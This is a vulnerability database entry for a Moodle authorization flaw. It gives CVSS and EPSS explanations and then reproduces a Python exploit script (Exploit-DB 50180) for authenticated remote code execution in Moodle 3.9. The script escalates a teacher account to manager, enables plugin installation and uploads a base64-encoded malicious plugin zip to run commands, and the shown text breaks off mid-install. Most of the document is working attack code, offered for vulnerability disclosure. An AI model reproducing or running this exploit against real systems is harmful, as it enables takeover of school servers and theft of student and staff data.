Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-863 |
Incorrect Authorization The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. This allows attackers to bypass intended access restrictions. |
|
Metrics
Metric |
Score |
Severity |
CVSS Vector |
Source |
V3.1 |
8.8 |
HIGH |
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack VectorThis metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack ComplexityThis metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges RequiredThis metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User InteractionThis metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. ScopeFormally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality ImpactThis metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity ImpactThis metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability ImpactThis metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 50180
Publication date : 2021-08-04 22:00 +00:00
Author : lanz
EDB Verified : No
# Exploit Title: Moodle 3.9 - Remote Code Execution (RCE) (Authenticated)
# Date: 12-05-2021
# Exploit Author: lanz
# Vendor Homepage: https://moodle.org/
# Version: Moodle 3.9
# Tested on: FreeBSD
#!/usr/bin/python3
## Moodle 3.9 - RCE (Authenticated as teacher)
## Based on PoC and Payload to assign full permissions to manager rol:
## * https://github.com/HoangKien1020/CVE-2020-14321
## Repository: https://github.com/lanzt/CVE-2020-14321/blob/main/CVE-2020-14321_RCE.py
import string, random
import requests, re
import argparse
import base64
import signal
import time
from pwn import *
class Color:
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
END = '\033[0m'
def def_handler(sig, frame):
print(Color.RED + "\n[!] 3xIt1ngG...\n")
exit(1)
signal.signal(signal.SIGINT, def_handler)
banner = base64.b64decode("IF9fICAgICBfXyAgICAgX18gICBfXyAgX18gICBfXyAgICAgICAgICAgICAgX18gIF9fICAgICAKLyAgXCAgL3xfICBfXyAgIF8pIC8gIFwgIF8pIC8gIFwgX18gIC98IHxfX3wgIF8pICBfKSAvfCAKXF9fIFwvIHxfXyAgICAgL19fIFxfXy8gL19fIFxfXy8gICAgICB8ICAgIHwgX18pIC9fXyAgfCDigKIgYnkgbGFuegoKTW9vZGxlIDMuOSAtIFJlbW90ZSBDb21tYW5kIEV4ZWN1dGlvbiAoQXV0aGVudGljYXRlZCBhcyB0ZWFjaGVyKQpDb3Vyc2UgZW5yb2xtZW50cyBhbGxvd2VkIHByaXZpbGVnZSBlc2NhbGF0aW9uIGZyb20gdGVhY2hlciByb2xlIGludG8gbWFuYWdlciByb2xlIHRvIFJDRQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA==").decode()
print(Color.BLUE + banner + Color.END)
def usagemybro():
fNombre = os.path.basename(__file__)
ussage = fNombre + ' [-h] [-u USERNAME] [-p PASSWORD] [-idm ID_MANAGER] [-idc ID_COURSE] [-c COMMAND] [--cookie TEACHER_COOKIE] url\n\n'
ussage += '[+] Examples:\n'
ussage += '\t' + fNombre + ' http://moodle.site.com/moodle -u teacher_name -p teacher_pass\n'
ussage += '\t' + fNombre + " http://moodle.site.com/moodle --cookie thisistheffcookieofmyteaaacher\n"
return ussage
def arguments():
parse = argparse.ArgumentParser(usage=usagemybro())
parse.add_argument(dest='url', type=str, help='URL Moodle site')
parse.add_argument('-u', dest='username', type=str, default='lanz', help='Teacher username, default: lanz')
parse.add_argument('-p', dest='password', type=str, default='Lanz123$!', help='Teacher password, default: Lanz123$!')
parse.add_argument('-idm', dest='id_manager', type=str, default='25', help='Manager user ID, default: 25')
parse.add_argument('-idc', dest='id_course', type=str, default='5', help='Course ID valid to enrol yourself, default: 5')
parse.add_argument('-c', dest='command', type=str, default='whoami', help='Command to execute, default: whoami')
parse.add_argument('--cookie', dest='teacher_cookie', type=str, default='', help='Teacher cookie (if you don\'t have valid credentials)')
return parse.parse_args()
def login(url, username, password, course_id, teacher_cookie):
'''
Sign in on site, with creds or with cookie
'''
p1 = log.progress("Login on site")
session = requests.Session()
r = session.get(url + '/login/index.php')
# Sign in with teacher cookie
if teacher_cookie != "":
p1.status("Cookie " + Color.BLUE + "MoodleSession:" + teacher_cookie + Color.END)
time.sleep(2)
# In case the URL format is: http://moodle.site.com/moodle
cookie_domain = url.split('/')[2] # moodle.site.com
cookie_path = "/%s/" % (url.split('/')[3]) # /moodle/
session.cookies.set('MoodleSession', teacher_cookie, domain=cookie_domain, path=cookie_path)
r = session.get(url + '/user/index.php', params={"id":course_id})
try:
re.findall(r'class="usertext mr-1">(.*?)<', r.text)[0]
except IndexError:
p1.failure(Color.RED + "✘" + Color.END)
print(Color.RED + "\nInvalid cookie, try again, verify cookie domain and cookie path or simply change all.\n")
exit(1)
id_user = re.findall(r'id="nav-notification-popover-container" data-userid="(.*?)"', r.text)[0]
sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]
p1.success(Color.BLUE + "MoodleSession:" + teacher_cookie + Color.END + Color.YELLOW + " ✓" + Color.END)
time.sleep(1)
# Sign in with teacher credentials
elif username and password != "":
p1.status("Creds " + Color.BLUE + username + ":" + password + Color.END)
time.sleep(2)
login_token = re.findall(r'name="logintoken" value="(.*?)"', r.text)[0]
data_post = {
"anchor" : "",
"logintoken" : login_token,
"username" : username,
"password" : password
}
r = session.post(url + '/login/index.php', data=data_post)
if "Recently accessed courses" not in r.text:
p1.failure(Color.RED + "✘" + Color.END)
print(Color.RED + "\nInvalid credentials.\n")
exit(1)
id_user = re.findall(r'id="nav-notification-popover-container" data-userid="(.*?)"', r.text)[0]
sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]
p1.success(Color.BLUE + username + ":" + password + Color.END + Color.YELLOW + " ✓" + Color.END)
time.sleep(1)
else:
print(Color.RED + "\nUse valid credentials or valid cookie\n")
exit(1)
return session, id_user, sess_key
def enrol2rce(session, url, id_manager, username, course_id, teacher_cookie, command):
'''
Assign rol manager to teacher and manager account in the course.
'''
p4 = log.progress("Updating roles to move on manager accout")
time.sleep(1)
r = session.get(url + '/user/index.php', params={"id":course_id})
try:
teacher_user = re.findall(r'class="usertext mr-1">(.*?)<', r.text)[0]
except IndexError:
p4.failure(Color.RED + "✘" + Color.END)
print(Color.RED + "\nInvalid cookie, try again, verify cookie domain and cookie path or simply change all.\n")
exit(1)
p4.status("Teacher " + Color.BLUE + teacher_user + Color.END)
time.sleep(1)
id_user = re.findall(r'id="nav-notification-popover-container" data-userid="(.*?)"', r.text)[0]
sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]
session = update_rol(session, url, sess_key, course_id, id_user)
session = update_rol(session, url, sess_key, course_id, id_manager)
data_get = {
"id" : course_id,
"user" : id_manager,
"sesskey" : sess_key
}
r = session.get(url + '/course/loginas.php', params=data_get)
if "You are logged in as" not in r.text:
p4.failure(Color.RED + "✘" + Color.END)
print(Color.RED + "\nError trying to move on manager account. Validate credentials (or cookie).\n")
exit(1)
p4.success(Color.YELLOW + "✓" + Color.END)
time.sleep(1)
sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]
# Updating rol manager to enable install plugins
session, sess_key = update_rol_manager(session, url, sess_key)
# Upload malicious zip file
zipb64_up(session, url, sess_key, teacher_user, course_id)
# RCE on system
moodle_RCE(url, command)
def update_rol(session, url, sess_key, course_id, id_user):
'''
Updating teacher rol to enable he update other users
'''
data_get = {
"mform_showmore_main" : "0",
"id" : course_id,
"action" : "enrol",
"enrolid" : "10",
"sesskey" : sess_key,
"_qf__enrol_manual_enrol_users_form" : "1",
"mform_showmore_id_main" : "0",
"userlist[]" : id_user,
"roletoassign" : "1",
"startdate" : "4",
"duration" : ""
}
r = session.get(url + '/enrol/manual/ajax.php', params=data_get)
return session
def update_rol_manager(session, url, sess_key):
'''
Updating rol manager to enable install plugins
* Extracted from: https://github.com/HoangKien1020/CVE-2020-14321
'''
p6 = log.progress("Updating rol manager to enable install plugins")
time.sleep(1)
data_get = {
"action":"edit",
"roleid":"1"
}
random_desc = ''.join(random.choice(string.ascii_lowercase) for i in range(15))
# Headache part :P
data_post = [('sesskey',sess_key),('return','manage'),('resettype','none'),('shortname','manager'),('name',''),('description',random_desc),('archetype','manager'),('contextlevel10','0'),('contextlevel10','1'),('contextlevel30','0'),('contextlevel30','1'),('contextlevel40','0'),('contextlevel40','1'),('contextlevel50','0'),('contextlevel50','1'),('contextlevel70','0'),('contextlevel70','1'),('contextlevel80','0'),('contextlevel80','1'),('allowassign[]',''),('allowassign[]','1'),('allowassign[]','2'),('allowassign[]','3'),('allowassign[]','4'),('allowassign[]','5'),('allowassign[]','6'),('allowassign[]','7'),('allowassign[]','8'),('allowoverride[]',''),('allowoverride[]','1'),('allowoverride[]','2'),('allowoverride[]','3'),('allowoverride[]','4'),('allowoverride[]','5'),('allowoverride[]','6'),('allowoverride[]','7'),('allowoverride[]','8'),('allowswitch[]',''),('allowswitch[]','1'),('allowswitch[]','2'),('allowswitch[]','3'),('allowswitch[]','4'),('allowswitch[]','5'),('allowswitch[]','6'),('allowswitch[]','7'),('allowswitch[]','8'),('allowview[]',''),('allowview[]','1'),('allowview[]','2'),('allowview[]','3'),('allowview[]','4'),('allowview[]','5'),('allowview[]','6'),('allowview[]','7'),('allowview[]','8'),('block/admin_bookmarks:myaddinstance','1'),('block/badges:myaddinstance','1'),('block/calendar_month:myaddinstance','1'),('block/calendar_upcoming:myaddinstance','1'),('block/comments:myaddinstance','1'),('block/course_list:myaddinstance','1'),('block/globalsearch:myaddinstance','1'),('block/glossary_random:myaddinstance','1'),('block/html:myaddinstance','1'),('block/lp:addinstance','1'),('block/lp:myaddinstance','1'),('block/mentees:myaddinstance','1'),('block/mnet_hosts:myaddinstance','1'),('block/myoverview:myaddinstance','1'),('block/myprofile:myaddinstance','1'),('block/navigation:myaddinstance','1'),('block/news_items:myaddinstance','1'),('block/online_users:myaddinstance','1'),('block/private_files:myaddinstance','1'),('block/recentlyaccessedcourses:myaddinstance','1'),('block/recentlyaccesseditems:myaddinstance','1'),('block/rss_client:myaddinstance','1'),('block/settings:myaddinstance','1'),('block/starredcourses:myaddinstance','1'),('block/tags:myaddinstance','1'),('block/timeline:myaddinstance','1'),('enrol/category:synchronised','1'),('message/airnotifier:managedevice','1'),('moodle/analytics:listowninsights','1'),('moodle/analytics:managemodels','1'),('moodle/badges:manageglobalsettings','1'),('moodle/blog:create','1'),('moodle/blog:manageentries','1'),('moodle/blog:manageexternal','1'),('moodle/blog:search','1'),('moodle/blog:view','1'),('moodle/blog:viewdrafts','1'),('moodle/course:configurecustomfields','1'),('moodle/course:recommendactivity','1'),('moodle/grade:managesharedforms','1'),('moodle/grade:sharegradingforms','1'),('moodle/my:configsyspages','1'),('moodle/my:manageblocks','1'),('moodle/portfolio:export','1'),('moodle/question:config','1'),('moodle/restore:createuser','1'),('moodle/role:manage','1'),('moodle/search:query','1'),('moodle/site:config','1'),('moodle/site:configview','1'),('moodle/site:deleteanymessage','1'),('moodle/site:deleteownmessage','1'),('moodle/site:doclinks','1'),('moodle/site:forcelanguage','1'),('moodle/site:maintenanceaccess','1'),('moodle/site:manageallmessaging','1'),('moodle/site:messageanyuser','1'),('moodle/site:mnetlogintoremote','1'),('moodle/site:readallmessages','1'),('moodle/site:sendmessage','1'),('moodle/site:uploadusers','1'),('moodle/site:viewparticipants','1'),('moodle/tag:edit','1'),('moodle/tag:editblocks','1'),('moodle/tag:flag','1'),('moodle/tag:manage','1'),('moodle/user:changeownpassword','1'),('moodle/user:create','1'),('moodle/user:delete','1'),('moodle/user:editownmessageprofile','1'),('moodle/user:editownprofile','1'),('moodle/user:ignoreuserquota','1'),('moodle/user:manageownblocks','1'),('moodle/user:manageownfiles','1'),('moodle/user:managesyspages','1'),('moodle/user:update','1'),('moodle/webservice:createmobiletoken','1'),('moodle/webservice:createtoken','1'),('moodle/webservice:managealltokens','1'),('quizaccess/seb:managetemplates','1'),('report/courseoverview:view','1'),('report/performance:view','1'),('report/questioninstances:view','1'),('report/security:view','1'),('report/status:view','1'),('tool/customlang:edit','1'),('tool/customlang:view','1'),('tool/dataprivacy:managedataregistry','1'),('tool/dataprivacy:managedatarequests','1'),('tool/dataprivacy:requestdeleteforotheruser','1'),('tool/lpmigrate:frameworksmigrate','1'),('tool/monitor:managetool','1'),('tool/policy:accept','1'),('tool/policy:managedocs','1'),('tool/policy:viewacceptances','1'),('tool/uploaduser:uploaduserpictures','1'),('tool/usertours:managetours','1'),('auth/oauth2:managelinkedlogins','1'),('moodle/badges:manageownbadges','1'),('moodle/badges:viewotherbadges','1'),('moodle/competency:evidencedelete','1'),('moodle/competency:plancomment','1'),('moodle/competency:plancommentown','1'),('moodle/competency:planmanage','1'),('moodle/competency:planmanagedraft','1'),('moodle/competency:planmanageown','1'),('moodle/competency:planmanageowndraft','1'),('moodle/competency:planrequestreview','1'),('moodle/competency:planrequestreviewown','1'),('moodle/competency:planreview','1'),('moodle/competency:planview','1'),('moodle/competency:planviewdraft','1'),('moodle/competency:planviewown','1'),('moodle/competency:planviewowndraft','1'),('moodle/competency:usercompetencycomment','1'),('moodle/competency:usercompetencycommentown','1'),('moodle/competency:usercompetencyrequestreview','1'),('moodle/competency:usercompetencyrequestreviewown','1'),('moodle/competency:usercompetencyreview','1'),('moodle/competency:usercompetencyview','1'),('moodle/competency:userevidencemanage','1'),('moodle/competency:userevidencemanageown','0'),('moodle/competency:userevidenceview','1'),('moodle/user:editmessageprofile','1'),('moodle/user:editprofile','1'),('moodle/user:manageblocks','1'),('moodle/user:readuserblogs','1'),('moodle/user:readuserposts','1'),('moodle/user:viewalldetails','1'),('moodle/user:viewlastip','1'),('moodle/user:viewuseractivitiesreport','1'),('report/usersessions:manageownsessions','1'),('tool/dataprivacy:downloadallrequests','1'),('tool/dataprivacy:downloadownrequest','1'),('tool/dataprivacy:makedatadeletionrequestsforchildren','1'),('tool/dataprivacy:makedatarequestsforchildren','1'),('tool/dataprivacy:requestdelete','1'),('tool/policy:acceptbehalf','1'),('moodle/category:manage','1'),('moodle/category:viewcourselist','1'),('moodle/category:viewhiddencategories','1'),('moodle/cohort:assign','1'),('moodle/cohort:manage','1'),('moodle/competency:competencymanage','1'),('moodle/competency:competencyview','1'),('moodle/competency:templatemanage','1'),('moodle/competency:templateview','1'),('moodle/course:create','1'),('moodle/course:request','1'),('moodle/site:approvecourse','1'),('repository/contentbank:accesscoursecategorycontent','1'),('repository/contentbank:accessgeneralcontent','1'),('block/recent_activity:viewaddupdatemodule','1'),('block/recent_activity:viewdeletemodule','1'),('contenttype/h5p:access','1'),('contenttype/h5p:upload','1'),('contenttype/h5p:useeditor','1'),('enrol/category:config','1'),('enrol/cohort:config','1'),('enrol/cohort:unenrol','1'),('enrol/database:config','1'),('enrol/database:unenrol','1'),('enrol/flatfile:manage','1'),('enrol/flatfile:unenrol','1'),('enrol/guest:config','1'),('enrol/imsenterprise:config','1'),('enrol/ldap:manage','1'),('enrol/lti:config','1'),('enrol/lti:unenrol','1'),('enrol/manual:config','1'),('enrol/manual:enrol','1'),('enrol/manual:manage','1'),('enrol/manual:unenrol','1'),('enrol/manual:unenrolself','1'),('enrol/meta:config','1'),('enrol/meta:selectaslinked','1'),('enrol/meta:unenrol','1'),('enrol/mnet:config','1'),('enrol/paypal:config','1'),('enrol/paypal:manage','1'),('enrol/paypal:unenrol','1'),('enrol/paypal:unenrolself','1'),('enrol/self:config','1'),('enrol/self:holdkey','1'),('enrol/self:manage','1'),('enrol/self:unenrol','1'),('enrol/self:unenrolself','1'),('gradeexport/ods:publish','1'),('gradeexport/ods:view','1'),('gradeexport/txt:publish','1'),('gradeexport/txt:view','1'),('gradeexport/xls:publish','1'),('gradeexport/xls:view','1'),('gradeexport/xml:publish','1'),('gradeexport/xml:view','1'),('gradeimport/csv:view','1'),('gradeimport/direct:view','1'),('gradeimport/xml:publish','1'),('gradeimport/xml:view','1'),('gradereport/grader:view','1'),('gradereport/history:view','1'),('gradereport/outcomes:view','1'),('gradereport/overview:view','1'),('gradereport/singleview:view','1'),('gradereport/user:view','1'),('mod/assign:addinstance','1'),('mod/assignment:addinstance','1'),('mod/book:addinstance','1'),('mod/chat:addinstance','1'),('mod/choice:addinstance','1'),('mod/data:addinstance','1'),('mod/feedback:addinstance','1'),('mod/folder:addinstance','1'),('mod/forum:addinstance','1'),('mod/glossary:addinstance','1'),('mod/h5pactivity:addinstance','1'),('mod/imscp:addinstance','1'),('mod/label:addinstance','1'),('mod/lesson:addinstance','1'),('mod/lti:addcoursetool','1'),('mod/lti:addinstance','1'),('mod/lti:addmanualinstance','1'),('mod/lti:addpreconfiguredinstance','1'),('mod/lti:requesttooladd','1'),('mod/page:addinstance','1'),('mod/quiz:addinstance','1'),('mod/resource:addinstance','1'),('mod/scorm:addinstance','1'),('mod/survey:addinstance','1'),('mod/url:addinstance','1'),('mod/wiki:addinstance','1'),('mod/workshop:addinstance','1'),('moodle/analytics:listinsights','1'),('moodle/backup:anonymise','1'),('moodle/backup:backupcourse','1'),('moodle/backup:backupsection','1'),('moodle/backup:backuptargetimport','1'),('moodle/backup:configure','1'),('moodle/backup:downloadfile','1'),('moodle/backup:userinfo','1'),('moodle/badges:awardbadge','1'),('moodle/badges:configurecriteria','1'),('moodle/badges:configuredetails','1'),('moodle/badges:configuremessages','1'),('moodle/badges:createbadge','1'),('moodle/badges:deletebadge','1'),('moodle/badges:earnbadge','1'),('moodle/badges:revokebadge','1'),('moodle/badges:v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op:viewallassessments','1'),('mod/workshop:viewallsubmissions','1'),('mod/workshop:viewauthornames','1'),('mod/workshop:viewauthorpublished','1'),('mod/workshop:viewpublishedsubmissions','1'),('mod/workshop:viewreviewernames','1'),('moodle/backup:backupactivity','1'),('moodle/competency:coursecompetencyconfigure','1'),('moodle/course:activityvisibility','1'),('moodle/course:ignoreavailabilityrestrictions','1'),('moodle/course:manageactivities','1'),('moodle/course:togglecompletion','1'),('moodle/course:viewhiddenactivities','1'),('moodle/h5p:deploy','1'),('moodle/h5p:setdisplayoptions','1'),('moodle/h5p:updatelibraries','1'),('moodle/site:accessallgroups','1'),('moodle/site:managecontextlocks','1'),('moodle/site:trustcontent','1'),('moodle/site:viewanonymousevents','1'),('moodle/site:viewfullnames','1'),('moodle/site:viewuseridentity','1'),('quiz/grading:viewidnumber','1'),('quiz/grading:viewstudentnames','1'),('quiz/statistics:view','1'),('quizaccess/seb:bypassseb','1'),('quizaccess/seb:manage_filemanager_sebconfigfile','1'),('quizaccess/seb:manage_seb_activateurlfiltering','1'),('quizaccess/seb:manage_seb_allowedbrowserexamkeys','1'),('quizaccess/seb:manage_seb_allowreloadinexam','1'),('quizaccess/seb:manage_seb_allowspellchecking','1'),('quizaccess/seb:manage_seb_allowuserquitseb','1'),('quizaccess/seb:manage_seb_enableaudiocontrol','1'),('quizaccess/seb:manage_seb_expressionsallowed','1'),('quizaccess/seb:manage_seb_expressionsblocked','1'),('quizaccess/seb:manage_seb_filterembeddedcontent','1'),('quizaccess/seb:manage_seb_linkquitseb','1'),('quizaccess/seb:manage_seb_muteonstartup','1'),('quizaccess/seb:manage_seb_quitpassword','1'),('quizaccess/seb:manage_seb_regexallowed','1'),('quizaccess/seb:manage_seb_regexblocked','1'),('quizaccess/seb:manage_seb_requiresafeexambrowser','1'),('quizaccess/seb:manage_seb_showkeyboardlayout','1'),('quizaccess/seb:manage_seb_showreloadbutton','1'),('quizaccess/seb:manage_seb_showsebdownloadlink','1'),('quizaccess/seb:manage_seb_showsebtaskbar','1'),('quizaccess/seb:manage_seb_showtime','1'),('quizaccess/seb:manage_seb_showwificontrol','1'),('quizaccess/seb:manage_seb_templateid','1'),('quizaccess/seb:manage_seb_userconfirmquit','1'),('repository/areafiles:view','1'),('repository/boxnet:view','1'),('repository/contentbank:view','1'),('repository/coursefiles:view','1'),('repository/dropbox:view','1'),('repository/equella:view','1'),('repository/filesystem:view','1'),('repository/flickr:view','1'),('repository/flickr_public:view','1'),('repository/googledocs:view','1'),('repository/local:view','1'),('repository/merlot:view','0'),('repository/nextcloud:view','1'),('repository/onedrive:view','1'),('repository/picasa:view','1'),('repository/recent:view','1'),('repository/s3:view','1'),('repository/skydrive:view','1'),('repository/upload:view','1'),('repository/url:view','1'),('repository/user:view','1'),('repository/webdav:view','1'),('repository/wikimedia:view','1'),('repository/youtube:view','1'),('block/activity_modules:addinstance','1'),('block/activity_results:addinstance','1'),('block/admin_bookmarks:addinstance','1'),('block/badges:addinstance','1'),('block/blog_menu:addinstance','1'),('block/blog_recent:addinstance','1'),('block/blog_tags:addinstance','1'),('block/calendar_month:addinstance','1'),('block/calendar_upcoming:addinstance','1'),('block/comments:addinstance','1'),('block/completionstatus:addinstance','1'),('block/course_list:addinstance','1'),('block/course_summary:addinstance','1'),('block/feedback:addinstance','1'),('block/globalsearch:addinstance','1'),('block/glossary_random:addinstance','1'),('block/html:addinstance','1'),('block/login:addinstance','1'),('block/mentees:addinstance','1'),('block/mnet_hosts:addinstance','1'),('block/myprofile:addinstance','1'),('block/navigation:addinstance','1'),('block/news_items:addinstance','1'),('block/online_users:addinstance','1'),('block/online_users:viewlist','1'),('block/private_files:addinstance','1'),('block/quiz_results:addinstance','1'),('block/recent_activity:addinstance','1'),('block/rss_client:addinstance','1'),('block/rss_client:manageanyfeeds','1'),('block/rss_client:manageownfeeds','1'),('block/search_forums:addinstance','1'),('block/section_links:addinstance','1'),('block/selfcompletion:addinstance','1'),('block/settings:addinstance','1'),('block/site_main_menu:addinstance','1'),('block/social_activities:addinstance','1'),('block/tag_flickr:addinstance','1'),('block/tag_youtube:addinstance','1'),('block/tags:addinstance','1'),('moodle/block:edit','1'),('moodle/block:view','1'),('moodle/site:manageblocks','1'),('savechanges','Save changes')]
r = session.post(url + '/admin/roles/define.php', params=data_get, data=data_post)
# Above we modify description field, so, if script find that description on site, we are good.
if random_desc not in r.text:
p6.failure(Color.RED + "✘" + Color.END)
print(Color.RED + "\nTrouble updating fields\n")
exit(1)
else:
r = session.get(url + '/admin/search.php')
if "Install plugins" not in r.text:
p6.failure(Color.RED + "✘" + Color.END)
print(Color.RED + "\nModified fields but the options to install plugins have not been enabled.")
print(Color.RED + "- (This is weird, sometimes he does it, sometimes he doesn't!!) Try again.\n")
exit(1)
sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]
p6.success(Color.YELLOW + "✓" + Color.END)
time.sleep(1)
return session, sess_key
def zipb64_up(session, url, sess_key, teacher_user, course_id):
'''
Doing upload of zip file as base64 binary data
* https://stackabuse.com/encoding-and-decoding-base64-strings-in-python/
'''
p7 = log.progress("Uploading malicious " + Color.BLUE + ".zip" + Color.END + " file")
r = session.get(url + '/admin/tool/installaddon/index.php')
zipfile_id = re.findall(r'name="zipfile" id="id_zipfile" value="(.*?)"', r.text)[0]
client_id = re.findall(r'"client_id":"(.*?)"', r.text)[0]
# Upupup
data_get = {"action":"upload"}
data_post = {
"title" : "",
"author" : teacher_user,
"license" : "unknown",
"itemid" : [zipfile_id, zipfile_id],
"accepted_types[]" : [".zip",".zip"],
"repo_id" : course_id,
"p" : "",
"page" : "",
"env" : "filepicker",
"sesskey" : sess_key,
"client_id" : client_id,
"maxbytes" : "-1",
"areamaxbytes" : "-1",
"ctx_id" : "1",
"savepath" : "/"
}
zip_b64 = 'UEsDBAoAAAAAAOVa0VAAAAAAAAAAAAAAAAAEAAAAcmNlL1BLAwQKAAAAAACATtFQAAAAAAAAAAAAAAAACQAAAHJjZS9sYW5nL1BLAwQKAAAAAAB2bdFQAAAAAAAAAAAAAAAADAAAAHJjZS9sYW5nL2VuL1BLAwQUAAAACAD4W9FQA9MUliAAAAAeAAAAGQAAAHJjZS9sYW5nL2VuL2Jsb2NrX3JjZS5waHCzsS/IKFAoriwuSc3VUIl3dw2JVk/OTVGP1bRWsLcDAFBLAwQUAAAACAB6bdFQtXxvb0EAAABJAAAADwAAAHJjZS92ZXJzaW9uLnBocLOxL8goUODlUinIKU3PzNO1K0stKs7Mz1OwVTAyMDIwMDM0NzCwRpJPzs8tyM9LzSsBqlBPyslPzo4vSk5VtwYAUEsBAh8ACgAAAAAA5VrRUAAAAAAAAAAAAAAAAAQAJAAAAAAAAAAQAAAAAAAAAHJjZS8KACAAAAAAAAEAGAB/2bACX0TWAWRC9B9fRNYBhvTzH19E1gFQSwECHwAKAAAAAACATtFQAAAAAAAAAAAAAAAACQAkAAAAAAAAABAAAAAiAAAAcmNlL2xhbmcvCgAgAAAAAAABABgArE3mRVJE1gGOG/QfX0TWAYb08x9fRNYBUEsBAh8ACgAAAAAAdm3RUAAAAAAAAAAAAAAAAAwAJAAAAAAAAAAQAAAASQAAAHJjZS9sYW5nL2VuLwoAIAAAAAAAAQAYAMIcIaZyRNYBwhwhpnJE1gGOG/QfX0TWAVBLAQIfABQAAAAIAPhb0VAD0xSWIAAAAB4AAAAZACQAAAAAAAAAIAAAAHMAAAByY2UvbGFuZy9lbi9ibG9ja19yY2UucGhwCgAgAAAAAAABABgA1t0sN2BE1gHW3Sw3YETWAfYt6i9fRNYBUEsBAh8AFAAAAAgAem3RULV8b29BAAAASQAAAA8AJAAAAAAAAAAgAAAAygAAAHJjZS92ZXJzaW9uLnBocAoAIAAAAAAAAQAYAO6e2qlyRNYB7p7aqXJE1gFkQvQfX0TWAVBLBQYAAAAABQAFANsBAAA4AQAAAAA='
zip_file_bytes = zip_b64.encode('utf-8')
zip_file_b64 = base64.decodebytes(zip_file_bytes)
data_file = [
('repo_upload_file',
('rce.zip', zip_file_b64, 'application/zip'))]
r = session.post(url + '/repository/repository_ajax.php', params=data_get, data=data_post, files=data_file)
if "rce.zip" not in r.text:
p7.failure(Color.RED + "✘" + Color.END)
print(Color.RED + "\nError uploading zip file.\n")
exit(1)
# Trying to load file
data_post = {
"sesskey" : sess_key,
"_qf__tool_installaddon_installfromzip_form" : "1",
"mform_showmore_id_general" : "0",
"mform_isexpanded_id_general" : "1",
"zipfile" : zipfile_id,
"plugintype" : "",
"rootdir" : "",
"submitbutton" : "Install plugin from the ZIP file"
}
r = session.post(url + '/admin/tool/installaddon/index.php', data=data_post)
if "Validation successful, installation can continue" not in r.text:
p7.failure(Color.RED + "✘" + Color.END)
print(Color.RED + "\nError uploading zip file, problems on plugin install.\n")
exit(1)
# Confirm load
zip_storage = re.findall(r'installzipstorage=(.*?)&', r.url)[0]
data_post = {
"installzipcomponent" : "block_rce",
"installzipstorage" : zip_storage,
"installzipconfirm" : "1",
"sesskey" : sess_key
}
